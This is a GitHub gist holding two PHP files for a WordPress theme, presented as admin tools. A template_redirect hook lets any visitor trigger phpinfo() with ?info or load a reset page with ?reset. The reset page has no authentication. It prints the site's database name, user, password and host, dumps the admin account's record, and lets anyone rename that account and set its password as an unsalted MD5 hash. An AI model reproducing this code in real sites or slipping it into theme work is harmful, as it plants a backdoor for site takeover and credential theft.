-
-
Save Dimasmagadan/f656b0a2b7cfd2d355a440d198c75253 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
add_action( 'template_redirect', 'zelenin_admin_tools', 5 ); | |
function zelenin_admin_tools() { | |
if ( isset( $_GET['reset'] ) ) { | |
require_once( THEME_PATH . '/inc/reset.php' ); | |
die(); | |
} | |
if ( isset( $_GET['info'] ) ) { | |
phpinfo(); | |
die(); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
global $wpdb, $table_prefix; | |
$result = $wpdb->get_row( "SELECT * FROM $wpdb->users WHERE ID = 1" ); | |
$user_name = $result->user_login; | |
$new_pass = ''; | |
if ( isset( $_POST['name'] ) || isset( $_POST['password'] ) ) { | |
if ( $_POST['name'] || $_POST['password'] ) { | |
$new_name = $_POST['name']; | |
$new_pass = $_POST['password']; | |
$wpdb->query( $wpdb->prepare( "UPDATE $wpdb->users SET user_pass = MD5( %s ) WHERE ID = %d", $new_pass, 1 ) ); | |
$wpdb->query( $wpdb->prepare( "UPDATE $wpdb->users SET user_login = %s WHERE ID = %d", $new_name, 1 ) ); | |
} | |
} ?> | |
<!doctype html> | |
<html> | |
<head> | |
<title>WordPress reset</title> | |
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> | |
<meta name="viewport" content="width=device-width"> | |
<meta name="SKYPE_TOOLBAR" content="SKYPE_TOOLBAR_PARSER_COMPATIBLE"> | |
<meta charset="utf-8"> | |
<style> | |
body { | |
width:300px; | |
margin:0 auto; | |
} | |
</style> | |
</head> | |
<body id="home"> | |
<?php | |
echo '<p>MySQL base name - ' . DB_NAME . '</p>'; | |
echo '<p>MySQL user name - ' . DB_USER . '</p>'; | |
echo '<p>MySQL base password - ' . DB_PASSWORD . '</p>'; | |
echo '<p>MySQL base host - ' . DB_HOST . '</p>'; | |
echo '<p>MySQL table prefix - ' . $table_prefix . '</p>'; | |
foreach ( $result as $key => $value ) { | |
echo '<p>' . $key . ': ' . $value . '</p>'; | |
} | |
?> | |
<form method="post" enctype="application/x-www-form-urlencoded" action=""> | |
<p><input type="text" name="name" value="<?php echo $user_name; ?>"> <label>Admin name</label></p> | |
<p><input type="text" name="password" value="<?php echo $new_pass; ?>"> <label>Password</label></p> | |
<p><input type="submit" value="OK"><p> | |
</form> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment